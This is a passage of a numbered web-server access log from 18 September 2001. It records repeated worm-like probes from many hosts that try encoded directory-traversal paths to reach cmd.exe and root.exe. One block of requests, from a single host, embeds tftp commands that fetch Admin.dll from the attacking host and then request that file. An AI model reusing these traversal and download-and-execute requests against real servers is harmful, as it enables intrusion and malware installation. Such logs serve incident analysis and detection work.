  2233. 20010918 10:45:42: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2234. 20010918 10:45:42: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2235. 20010918 10:45:43: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2236. 20010918 10:45:44: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2237. 20010918 10:45:45: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2238. 20010918 10:45:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2239. 20010918 10:45:46: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2240. 20010918 10:45:47: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2241. 20010918 10:45:49: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2242. 20010918 10:45:49: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2243. 20010918 10:46:55: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2244. 20010918 10:46:59: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2245. 20010918 10:47:02: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2246. 20010918 10:47:02: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2247. 20010918 10:47:07: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2248. 20010918 10:47:09: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2249. 20010918 10:47:10: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2250. 20010918 10:47:13: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2251. 20010918 10:47:16: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2252. 20010918 10:47:16: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2253. 20010918 10:47:17: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2254. 20010918 10:47:21: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2255. 20010918 10:47:22: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2256. 20010918 10:47:23: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2257. 20010918 10:47:24: dynamic-80-203.dyn.columbia.edu [128.59.80.203] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2258. 20010918 10:47:27: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2259. 20010918 10:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2260. 20010918 10:48:19: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2261. 20010918 10:48:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2262. 20010918 10:48:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2263. 20010918 10:48:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2264. 20010918 10:48:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2265. 20010918 10:48:20: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2266. 20010918 10:48:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2267. 20010918 10:48:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2268. 20010918 10:48:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2269. 20010918 10:48:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2270. 20010918 10:48:21: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2271. 20010918 10:48:22: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2272. 20010918 10:48:22: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2273. 20010918 10:48:22: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2274. 20010918 10:48:22: WWW             [128.59.59.84] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2275. 20010918 10:49:22: WWW             [128.59.59.84] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2276. 20010918 10:49:28: WWW             [128.59.59.84] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2277. 20010918 10:49:33: WWW             [128.59.59.84] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2278. 20010918 10:49:38: WWW             [128.59.59.84] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2279. 20010918 10:49:42:  [128.164.89.20] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2280. 20010918 10:50:49:  [128.164.89.20] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2281. 20010918 10:51:07:  [128.164.89.20] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2282. 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2283. 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  2284. 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/Admin.dll HTTP/1.0"
  2285. 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2286. 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20Admin.dll HTTP/1.0"
  2287. 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/Admin.dll HTTP/1.0"
  2288. 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2289. 20010918 10:51:28: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  2290. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  2291. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  2292. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/Admin.dll HTTP/1.0"
  2293. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2294. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  2295. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  2296. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  2297. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/Admin.dll HTTP/1.0"
  2298. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2299. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  2300. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  2301. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  2302. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../Admin.dll HTTP/1.0"
  2303. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2304. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  2305. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  2306. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  2307. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  2308. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2309. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  2310. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  2311. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  2312. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0"
  2313. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2314. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  2315. 20010918 10:51:29: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  2316. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  2317. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0"
  2318. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2319. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  2320. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  2321. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  2322. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0"
  2323. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2324. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  2325. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  2326. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  2327. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0"
  2328. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2329. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  2330. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  2331. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  2332. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0"
  2333. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2334. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  2335. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  2336. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  2337. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0"
  2338. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2339. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  2340. 20010918 10:51:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  2341. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  2342. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0"
  2343. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2344. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  2345. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  2346. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  2347. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../Admin.dll HTTP/1.0"
  2348. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2349. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  2350. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  2351. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  2352. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0"
  2353. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2354. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  2355. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  2356. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  2357. 20010918 10:51:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../Admin.dll HTTP/1.0"
  2358. 20010918 10:51:31: ras31.isi.edu [128.9.176.131] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2359. 20010918 10:52:16: ras31.isi.edu [128.9.176.131] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2360. 20010918 10:52:19: ras31.isi.edu [128.9.176.131] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2361. 20010918 10:52:21: ras31.isi.edu [128.9.176.131] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2362. 20010918 10:52:25: ras31.isi.edu [128.9.176.131] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2363. 20010918 10:52:28: ras31.isi.edu [128.9.176.131] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2364. 20010918 10:52:31: ras31.isi.edu [128.9.176.131] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2365. 20010918 10:52:35: ras31.isi.edu [128.9.176.131] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2366. 20010918 10:52:39: ras31.isi.edu [128.9.176.131] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2367. 20010918 10:52:43: ras31.isi.edu [128.9.176.131] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2368. 20010918 10:52:47: ras31.isi.edu [128.9.176.131] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2369. 20010918 10:52:51: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2370. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2371. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2372. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2373. 20010918 10:52:55: ras31.isi.edu [128.9.176.131] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2374. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2375. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2376. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2377. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2378. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2379. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2380. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2381. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2382. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2383. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2384. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2385. 20010918 10:52:55: dynamic-25-124.dyn.columbia.edu [128.59.25.124] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2386. 20010918 10:52:55: ras31.isi.edu [128.9.176.131] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2387. 20010918 10:53:00: ras31.isi.edu [128.9.176.131] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2388. 20010918 10:53:04: ras31.isi.edu [128.9.176.131] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2389. 20010918 10:53:09: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2390. 20010918 10:53:12: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2391. 20010918 10:53:12: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2392. 20010918 10:53:12: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2393. 20010918 10:53:12: ras31.isi.edu [128.9.176.131] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2394. 20010918 10:53:13: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
